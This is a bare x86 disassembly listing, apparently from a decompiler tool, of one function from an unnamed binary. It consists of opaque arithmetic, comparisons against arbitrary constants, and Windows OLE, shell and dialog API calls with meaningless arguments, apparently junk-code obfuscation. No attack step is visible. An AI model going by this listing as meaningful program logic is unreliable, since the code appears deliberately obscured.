jmp 0x4de698
movzx eax, word [ebp - 0xbe8]
push eax
mov ecx, dword [ebp - 0x1408]
movzx edx, byte [ecx]
push edx
movzx eax, word [ebp - 0x1c20]
push eax
mov ecx, dword [ebp - 0x1b0]
mov dl, byte [ecx]
mov cl, byte [ebp - 0xe29]
call fcn.00478870
jmp 0x4de6ce
lea edx, [ebp - 0x1c20]
push edx
push 0x29
lea eax, [ebp - 0x1c01]
push eax
push 0xb1
lea ecx, [ebp - 0x1070]
push ecx
lea edx, [ebp - 0x1108]
push edx
lea eax, [ebp - 0x498]
push eax
call dword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [ebp - 0x84], eax
jmp 0x4eecb0
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1720]
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xc28]
cmp edx, ecx
jb 0x4eecb0
mov edx, dword [ebp - 0xeb8]
mov eax, dword [ebp - 0x1720]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1290]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1274]
cmp eax, edx
ja 0x4de83e
mov eax, dword [ebp - 0x10ac]
movsx edx, byte [eax]
movsx eax, byte [ebp - 0x85d]
or edx, eax
mov ecx, dword [ebp - 0x1408]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0x1c01]
sar eax, cl
cmp edx, eax
jge 0x4de7ae
mov ecx, dword [ebp - 0x133c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1e70]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0xf08]
mov word [ecx], dx
mov edx, dword [ebp - 0x1408]
mov al, byte [edx]
mov byte [ebp - 0x20b0], al
cmp byte [ebp - 0x20b0], 0x5f
je 0x4de779
jmp 0x4de794
mov ecx, dword [ebp - 0x1f4c]
push ecx
mov edx, dword [ebp - 0x11a8]
movzx eax, byte [edx]
push eax
call fcn.004ef7c0
add esp, 8
jmp 0x4de7ae
mov ecx, dword [ebp - 0x7d8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x11a8]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x1b49], dl
mov edx, dword [ebp - 0x560]
movzx eax, word [edx]
mov dword [ebp - 0x20b4], eax
cmp dword [ebp - 0x20b4], 0x227
je 0x4de7cb
jmp 0x4de839
movsx ecx, word [ebp - 0x1c20]
mov dword [ebp - 0x20b8], ecx
cmp dword [ebp - 0x20b8], 0x26b6
je 0x4de7f2
cmp dword [ebp - 0x20b8], 0x7240
je 0x4de826
jmp 0x4de839
mov edx, dword [ebp - 0x4f4]
mov eax, dword [ebp - 0x4c4]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4c0]
mov dword [ecx], eax
push 1
lea edx, [ebp - 0xf08]
push edx
lea eax, [ebp - 0xdc0]
push eax
call dword [sym.imp.ole32.dll_OleGetIconOfClass]
mov dword [ebp - 0xb14], eax
jmp 0x4de839
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xeb8]
mov dword [eax], edx
jmp 0x4de93b
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x12c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1268]
mov ecx, dword [ebp - 0x48]
sub ecx, dword [eax]
cmp edx, ecx
je 0x4de8f9
mov edx, dword [ebp - 0x434]
mov dword [ebp - 0x20bc], edx
cmp dword [ebp - 0x20bc], 0x64d5e5ad
je 0x4de879
jmp 0x4de8d4
lea eax, [ebp - 0x1b15]
push eax
lea ecx, [ebp - 0xe4c]
push ecx
call dword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [ebp - 0x4d0], eax
mov edx, dword [ebp - 0x2f8]
mov eax, dword [ebp - 0x1f4c]
add eax, dword [edx]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x434]
add ecx, dword [ebp - 0x1f4c]
mov edx, dword [ebp - 0x13b0]
mov dword [edx], ecx
movzx eax, word [ebp - 0xa88]
movzx ecx, word [ebp - 0x7c4]
and eax, ecx
mov word [ebp - 0x10d8], ax
jmp 0x4de8f7
lea edx, [ebp - 0x9a8]
push edx
lea eax, [ebp - 0x1cd8]
push eax
push 0xb
mov ecx, dword [ebp - 0x1e90]
push ecx
call dword [sym.imp.ole32.dll_IsAccelerator]
mov dword [ebp - 0xc0], eax
jmp 0x4de93b
mov edx, dword [ebp - 0x1408]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x85d]
sub eax, ecx
mov edx, dword [ebp - 0x10ac]
movsx ecx, byte [edx]
movsx edx, byte [ebp - 0x1c01]
add ecx, edx
cmp eax, ecx
jle 0x4de93b
mov eax, dword [ebp - 0x1b0]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x1b49]
shl edx, cl
mov eax, dword [ebp - 0x11a8]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x85d]
movsx edx, byte [ebp - 0x1c01]
or ecx, edx
mov eax, dword [ebp - 0x1408]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x10ac]
movsx eax, byte [eax]
xor edx, eax
cmp ecx, edx
je 0x4dea2d
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ecx]
mov dword [ebp - 0x20c0], edx
cmp dword [ebp - 0x20c0], 0x769d0eb
je 0x4de983
jmp 0x4de9b2
mov eax, dword [ebp - 0x1290]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x214]
mov dword [ebp - 0x1274], ecx
mov edx, dword [ebp - 0x944]
mov eax, dword [edx]
push eax
movzx ecx, byte [ebp - 0x4a9]
push ecx
call fcn.004ef7c0
add esp, 8
jmp 0x4dea28
mov dl, byte [ebp - 0x1c01]
mov byte [ebp - 0x20c4], dl
cmp byte [ebp - 0x20c4], 0xf
je 0x4de9d2
cmp byte [ebp - 0x20c4], 0x5a
je 0x4dea12
jmp 0x4dea28
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x48]
and ecx, dword [eax]
mov edx, dword [ebp - 0xc08]
mov dword [edx], ecx
lea eax, [ebp - 0xb14]
push eax
push 0xaa
lea ecx, [ebp - 0xe3c]
push ecx
call dword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [ebp - 0x1d4], eax
mov edx, dword [ebp - 0x7a4]
sub edx, dword [ebp - 0x48]
mov dword [ebp - 0x434], edx
jmp 0x4dea28
mov eax, dword [ebp - 0x944]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x434]
mov edx, dword [ebp - 0x4c0]
mov dword [edx], ecx
jmp 0x4deb1d
mov eax, dword [ebp - 0x1408]
mov cl, byte [eax]
mov byte [ebp - 0x20c8], cl
cmp byte [ebp - 0x20c8], 0
je 0x4dea56
cmp byte [ebp - 0x20c8], 0x1d
je 0x4deb04
jmp 0x4deb1d
mov edx, dword [ebp - 0x13b0]
mov eax, dword [edx]
add eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x1268]
mov dword [ecx], eax
mov dx, word [ebp - 0x8d4]
mov word [ebp - 0x1740], dx
mov eax, dword [ebp - 0x610]
mov ecx, dword [eax]
mov dword [ebp - 0x20cc], ecx
cmp dword [ebp - 0x20cc], 0x2faa4531
je 0x4dea96
jmp 0x4deaf6
push 0xdf
lea edx, [ebp - 0x1be0]
push edx
lea eax, [ebp - 0x32c]
push eax
push 0x82
push 0xe3
mov ecx, dword [ebp - 0x8c4]
push ecx
call dword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [ebp - 0x660], eax
movzx edx, byte [ebp - 0x12e]
push edx
mov eax, dword [ebp - 0xc28]
push eax
movzx ecx, word [ebp - 0x8d4]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
mov eax, dword [ebp - 0x1408]
movzx ecx, byte [eax]
push ecx
call fcn.00429f50
jmp 0x4deb02
lea edx, [ebp - 0x85d]
mov dword [ebp - 0x110c], edx
jmp 0x4deb1d
movzx eax, word [ebp - 0x10d8]
mov ecx, dword [ebp - 0x1e70]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xbe8], ax
mov eax, dword [ebp - 0x110c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1408]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x10ac]
movsx eax, byte [edx]
movsx edx, byte [ebp - 0x1c01]
add eax, edx
cmp ecx, eax
jl 0x4eec11
mov eax, dword [ebp - 0xf08]
movzx edx, word [eax]
mov eax, dword [ebp - 0x560]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xa88], dx
mov ecx, dword [ebp - 0x2f8]
mov edx, dword [ebp - 0x48]
or edx, dword [ecx]
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x7a4]
and ecx, dword [eax]
cmp edx, ecx
je 0x4deb88
call fcn.0046d040
lea edx, [ebp - 0x1108]
mov dword [ebp - 0x1194], edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xe24]
add ecx, dword [edx]
mov eax, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0xcb0]
mov eax, dword [eax]
sub eax, dword [edx]
cmp ecx, eax
je 0x4dec6d
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
mov dword [ebp - 0x20d0], edx
cmp dword [ebp - 0x20d0], 0x25da
je 0x4dec5c
cmp dword [ebp - 0x20d0], 0x6107
je 0x4debec
jmp 0x4dec6d
mov eax, dword [ebp - 0x1290]
mov ecx, dword [ebp - 0xc28]
and ecx, dword [eax]
mov edx, dword [ebp - 0xcb0]
mov dword [edx], ecx
lea eax, [ebp - 0xdc0]
push eax
push str.Sleek_recitations
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0xe90], eax
mov ecx, dword [ebp - 0x1108]
sub ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x434], ecx
movzx edx, byte [ebp - 0xe29]
push edx
mov eax, dword [ebp - 0xeb8]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0x1c20]
push edx
movzx eax, byte [ebp - 0x1c01]
push eax
movzx ecx, byte [ebp - 0x85d]
push ecx
call fcn.00429f50
jmp 0x4dec6d
mov edx, dword [ebp - 0x1108]
sub edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1400]
mov dword [eax], edx
mov ecx, dword [ebp - 0x10ac]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1408]
movsx ecx, byte [eax]
add edx, ecx
movsx eax, byte [ebp - 0x85d]
mov ecx, dword [ebp - 0x110c]
movsx ecx, byte [ecx]
sub eax, ecx
cmp edx, eax
jg 0x4eebc8
mov edx, dword [ebp - 0x1274]
mov ecx, dword [ebp - 0x18]
shr edx, cl
mov eax, dword [ebp - 0xcb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1194]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x48]
shl edx, cl
mov dword [ebp - 0x694], edx
mov eax, dword [ebp - 0xc28]
mov dword [ebp - 0x20d4], eax
cmp dword [ebp - 0x20d4], 0
je 0x4decdb
jmp 0x4ded91
mov ecx, dword [ebp - 0x110c]
mov dl, byte [ecx]
mov byte [ebp - 0x20d8], dl
cmp byte [ebp - 0x20d8], 0
je 0x4ded00
cmp byte [ebp - 0x20d8], 0xb
je 0x4ded76
jmp 0x4ded8c
mov eax, dword [ebp - 0x110c]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x85d]
or ecx, edx
mov eax, dword [ebp - 0x10ac]
mov byte [eax], cl
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
mov dword [ebp - 0x20dc], edx
cmp dword [ebp - 0x20dc], 0x35e
je 0x4ded37
jmp 0x4ded52
mov eax, dword [ebp - 0x1448]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x8d4]
and ecx, edx
mov word [ebp - 0x1c20], cx
jmp 0x4ded74
lea eax, [ebp - 0x10d8]
mov dword [ebp - 0xe78], eax
movzx ecx, byte [ebp - 0x1b49]
movzx edx, byte [ebp - 0x12e]
add ecx, edx
mov byte [ebp - 0xe29], cl
jmp 0x4ded8c
mov eax, dword [ebp - 0xe24]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xce0]
mov edx, dword [ebp - 0xeb8]
mov dword [edx], ecx
jmp 0x4dee78
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0xee4]
push ecx
call dword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [ebp - 0xf28], eax
mov edx, dword [ebp - 0x4f4]
mov eax, dword [ebp - 0x694]
sub eax, dword [edx]
mov dword [ebp - 0x1f4c], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ebp - 0x214]
add edx, dword [ecx]
mov eax, dword [ebp - 0x1290]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x18]
cmp edx, ecx
ja 0x4dee62
movsx edx, word [ebp - 0x1740]
mov dword [ebp - 0x20e0], edx
cmp dword [ebp - 0x20e0], 0x35bf
je 0x4dedfb
jmp 0x4dee4c
mov eax, dword [ebp - 0x1400]
mov ecx, dword [ebp - 0x48]
add ecx, dword [eax]
mov edx, dword [ebp - 0x134c]
mov dword [edx], ecx
call dword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [ebp - 0xe4c], eax
mov eax, dword [ebp - 0x11a8]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x1d08]
push edx
movzx eax, word [ebp - 0x8d4]
push eax
mov ecx, dword [ebp - 0x1408]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x1c01]
push eax
call fcn.00429f50
jmp 0x4dee60
mov ecx, dword [ebp - 0x870]
mov edx, dword [ebp - 0x214]
sub edx, dword [ecx]
mov dword [ebp - 0x1274], edx
jmp 0x4dee78
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x1f4c]
or ecx, dword [eax]
mov edx, dword [ebp - 0x4f4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x944]
mov ecx, dword [ebp - 0xc08]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x694]
xor ecx, dword [eax]
cmp edx, ecx
jl 0x4defb9
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x12e]
sar eax, cl
mov ecx, dword [ebp - 0x11a8]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xe29]
and edx, ecx
cmp eax, edx
jle 0x4def22
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x20ec], edx
cmp dword [ebp - 0x20ec], 0
je 0x4deff7
movzx ecx, word [ebp - 0x7c4]
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x13b4], cx
push 0x96
mov ecx, dword [ebp - 0x440]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [ebp - 0x12c], eax
movzx edx, byte [ebp - 0xe29]
movzx eax, byte [ebp - 0x1b15]
xor edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov dl, byte [ebp - 0x4a9]
mov byte [ebp - 0x2220], dl
cmp byte [ebp - 0x2220], 0xb5
je 0x4eec28
jmp 0x4eec46
mov eax, dword [ebp - 0x1ec8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x11a8]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x1ec8]
mov byte [edx], cl
jmp 0x4eecb0
lea eax, [ebp - 0xb14]
push eax
call dword [sym.imp.SHELL32.dll_ILGetNext]
mov dword [ebp - 0x1ea4], eax
mov ecx, dword [ebp - 0xe24]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xcb0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x9b8]
mov dword [ecx], edx
mov edx, dword [ebp - 0xe4c]
mov ecx, dword [ebp - 0x1720]
shl edx, cl
mov dword [ebp - 0x1274], edx
movzx eax, byte [ebp - 0xe29]
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x7d8]
mov byte [ecx], al
push 0x85
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x168], eax
movsx edx, byte [ebp - 0x1c01]
mov eax, dword [ebp - 0x1408]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x10ac]
mov byte [eax], dl
mov cl, byte [ebp - 0x85d]
mov byte [ebp - 0x2224], cl
cmp byte [ebp - 0x2224], 0x13
je 0x4eece1
jmp 0x4eed0c
lea edx, [ebp - 0x1338]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x870]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1e70]
mov cx, word [ecx]
call fcn.004721c0
jmp 0x4eed1d
mov edx, dword [ebp - 0xcb0]
mov eax, dword [edx]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x610]
mov edx, dword [ebp - 0x2f8]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x944]
mov dword [ecx], eax
movsx edx, word [ebp - 0x8d4]
mov dword [ebp - 0x2228], edx
cmp dword [ebp - 0x2228], 0x5bcf
je 0x4eed50
jmp 0x4eedab
mov eax, dword [ebp - 0x134c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x434]
sar edx, cl
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0xce0]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0xeb8]
mov dword [eax], edx
lea ecx, [ebp - 0xf00]
push ecx
call dword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [ebp - 0x7cc], eax
mov edx, dword [ebp - 0x1ec8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4a9]
and eax, ecx
mov byte [ebp - 0x1b15], al
jmp 0x4eedc4
movzx edx, word [ebp - 0xbe8]
movzx eax, word [ebp - 0xa88]
sub edx, eax
mov ecx, dword [ebp - 0xf08]
mov word [ecx], dx
jmp 0x4eee69
mov edx, dword [ebp - 0x4c0]
mov eax, dword [ebp - 0x1108]
sub eax, dword [edx]
mov dword [ebp - 0x4c4], eax
movsx ecx, word [ebp - 0x1c20]
mov dword [ebp - 0x222c], ecx
cmp dword [ebp - 0x222c], 0x7b92
je 0x4eedf8
jmp 0x4eee12
mov edx, dword [ebp - 0x7d8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x12e], al
movzx eax, word [ebp - 0xbe8]
movzx ecx, word [ebp - 0x7c4]
xor eax, ecx
mov edx, dword [ebp - 0x1104]
mov word [edx], ax
mov eax, dword [ebp - 0x1e60]
push eax
call dword [sym.imp.SHELL32.dll_DragFinish]
mov ecx, dword [ebp - 0x133c]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x1c01]
push eax
mov ecx, dword [ebp - 0x558]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x1b0]
mov dl, byte [eax]
mov ecx, dword [ebp - 0x1b0]
mov cl, byte [ecx]
call fcn.00478870
lea edx, [ebp - 0x1260]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
mov eax, dword [ebp - 0x7d8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x11a8]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x1b15], cl
push 1
lea ecx, [ebp - 0x8d4]
push ecx
lea edx, [ebp - 0xe3c]
push edx
call dword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x134c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc08]
add ecx, dword [edx]
mov eax, dword [ebp - 0x4c0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
mov dword [ebp - 0x2230], edx
cmp dword [ebp - 0x2230], 0x7ab
je 0x4eeefd
jmp 0x4eeeff
jmp 0x4eef17
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x610]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xc08]
mov dword [eax], edx
push 0
mov ecx, dword [ebp - 0x9a4]
push ecx
mov edx, dword [ebp - 0x9a8]
push edx
mov eax, dword [ebp - 0xd78]
push eax
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx]
push edx
movzx eax, byte [ebp - 0x1b49]
push eax
call fcn.004ef7c0
add esp, 8
mov ecx, dword [ebp - 0x610]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x7a4]
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
push 0xd2
push 0x78
push 0x9d
mov ecx, dword [ebp - 0xd78]
push ecx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0xb08], eax
movzx edx, byte [ebp - 0x4a9]
movzx ecx, byte [ebp - 0x6ad]
sar edx, cl
mov byte [ebp - 0x1b49], dl
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x1720]
push edx
mov eax, dword [ebp - 0x558]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
movzx eax, byte [ebp - 0x1c01]
push eax
call fcn.00429f50
push 0xdd
push 0x47
push 0xd4
mov ecx, dword [ebp - 0x644]
push ecx
call dword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov edx, dword [ebp - 0x1b0]
mov al, byte [edx]
mov byte [ebp - 0x2234], al
cmp byte [ebp - 0x2234], 0xaa
je 0x4eefff
jmp 0x4ef043
mov ecx, dword [ebp - 0x7a4]
and ecx, dword [ebp - 0x434]
mov edx, dword [ebp - 0x4c0]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x1b49]
push eax
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp - 0x8d4]
push eax
movzx ecx, byte [ebp - 0x1c01]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
call fcn.00429f50
jmp 0x4ef057
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x12c]
sub ecx, dword [eax]
mov dword [ebp - 0x1108], ecx
movzx edx, word [ebp - 0x7c4]
mov eax, dword [ebp - 0x133c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
movzx eax, word [ebp - 0x10d8]
add ecx, eax
cmp edx, ecx
jle 0x4ef0c6
mov cl, byte [ebp - 0x6ad]
mov byte [ebp - 0x2238], cl
cmp byte [ebp - 0x2238], 0xa
je 0x4ef09f
cmp byte [ebp - 0x2238], 0x60
je 0x4ef0b2
jmp 0x4ef0c6
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xf08]
mov cx, word [eax]
call fcn.004721c0
jmp 0x4ef0c6
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x7a4]
sub edx, dword [ecx]
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x434]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
lea eax, [ebp - 0xb24]
push eax
lea ecx, [ebp - 0x644]
push ecx
lea edx, [ebp - 0x1154]
push edx
lea eax, [ebp - 0xc6c]
push eax
call dword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [ebp - 0xf2c], eax
movzx ecx, byte [ebp - 0x6ad]
movzx edx, byte [ebp - 0x1b49]
xor ecx, edx
mov eax, dword [ebp - 0x1b0]
mov byte [eax], cl
mov cl, byte [ebp - 0x6ad]
mov byte [ebp - 0x223c], cl
cmp byte [ebp - 0x223c], 0x95
je 0x4ef13c
cmp byte [ebp - 0x223c], 0xcc
je 0x4ef176
jmp 0x4ef191
push 0xa8
lea edx, [ebp - 0x434]
push edx
push fcn.004721c0
mov eax, dword [ebp - 0x1df8]
push eax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x504], eax
movzx ecx, byte [ebp - 0x6ad]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
call fcn.004d1cd0
jmp 0x4ef191
mov eax, dword [ebp - 0xf08]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x133c]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x10d8], cx
jmp 0x4ef239
mov ecx, dword [ebp - 0x1cd4]
push ecx
mov edx, dword [ebp - 0x1cd8]
push edx
call dword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [ebp - 0x590], eax
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x2240], eax
cmp dword [ebp - 0x2240], 0x2f01ddca
je 0x4ef1ca
jmp 0x4ef226
movzx ecx, word [ebp - 0xbe8]
movzx edx, word [ebp - 0x10d8]
sub ecx, edx
mov eax, dword [ebp - 0xc98]
mov word [eax], cx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x6ad]
add edx, eax
mov byte [ebp - 0x1b15], dl
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x214]
mov eax, dword [ebp - 0x9b8]
mov dword [eax], edx
lea ecx, [ebp - 0x1d80]
push ecx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x32c], eax
jmp 0x4ef239
mov edx, dword [ebp - 0x9b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x18]
shl eax, cl
mov dword [ebp - 0x1720], eax
mov ecx, dword [ebp - 0x1400]
mov edx, dword [ebp - 0x4c4]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x1108]
xor ecx, dword [eax]
cmp edx, ecx
jg 0x4ef34c
lea edx, [ebp - 0xc6c]
push edx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x1108], eax
mov eax, dword [ebp - 0xa7c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x18]
shr edx, cl
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0x1720]
and ecx, dword [eax]
cmp edx, ecx
jbe 0x4ef33c
mov edx, dword [ebp - 0xa7c]
mov eax, dword [edx]
mov dword [ebp - 0x2244], eax
cmp dword [ebp - 0x2244], 0xb875bc9c
je 0x4ef2b1
jmp 0x4ef30b
mov ecx, dword [ebp - 0x12c]
sub ecx, dword [ebp - 0x7a4]
mov edx, dword [ebp - 0x4c0]
mov dword [edx], ecx
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0x4f0]
push ecx
lea edx, [ebp - 0xc98]
push edx
lea eax, [ebp - 0x8d4]
push eax
lea ecx, [ebp - 0xf00]
push ecx
lea edx, [ebp - 0xc6c]
push edx
lea eax, [ebp - 0xf08]
push eax
lea ecx, [ebp - 0x133c]
push ecx
call dword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [ebp - 0x84], eax
jmp 0x4ef33a
mov edx, dword [ebp - 0x1400]
mov eax, dword [edx]
add eax, dword [ebp - 0x1108]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x8d4]
add edx, eax
mov ecx, dword [ebp - 0x1edc]
mov word [ecx], dx
jmp 0x4ef34c
movsx edx, byte [ebp - 0x1c01]
and edx, 0x47
mov byte [ebp - 0x1c01], dl
mov eax, dword [ebp - 0xe24]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x610]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1400]
add eax, dword [ecx]
mov edx, dword [ebp - 0x13b0]
mov dword [edx], eax
movzx eax, byte [ebp - 0x4a9]
push eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x1edc]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
movzx eax, byte [ebp - 0x1c01]
push eax
call fcn.00429f50
jmp 0x4ef473
movsx edx, word [ebp - 0x8d4]
mov eax, dword [ebp - 0x1edc]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0xaf0]
mov word [ecx], dx
mov edx, dword [ebp - 0x1274]
mov dword [ebp - 0x2248], edx
cmp dword [ebp - 0x2248], 0x4fba88cb
je 0x4ef3ee
cmp dword [ebp - 0x2248], 0x955fc2eb
je 0x4ef409
jmp 0x4ef473
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x1cb8]
movzx eax, word [edx]
push eax
call section..text
jmp 0x4ef473
push 0x5c
lea ecx, [ebp - 0x7cc]
push ecx
push fcn.00478870
mov edx, dword [ebp - 0xd78]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0xbc0], eax
movsx eax, word [ebp - 0x8d4]
mov ecx, dword [ebp - 0x1edc]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x558]
mov word [ecx], ax
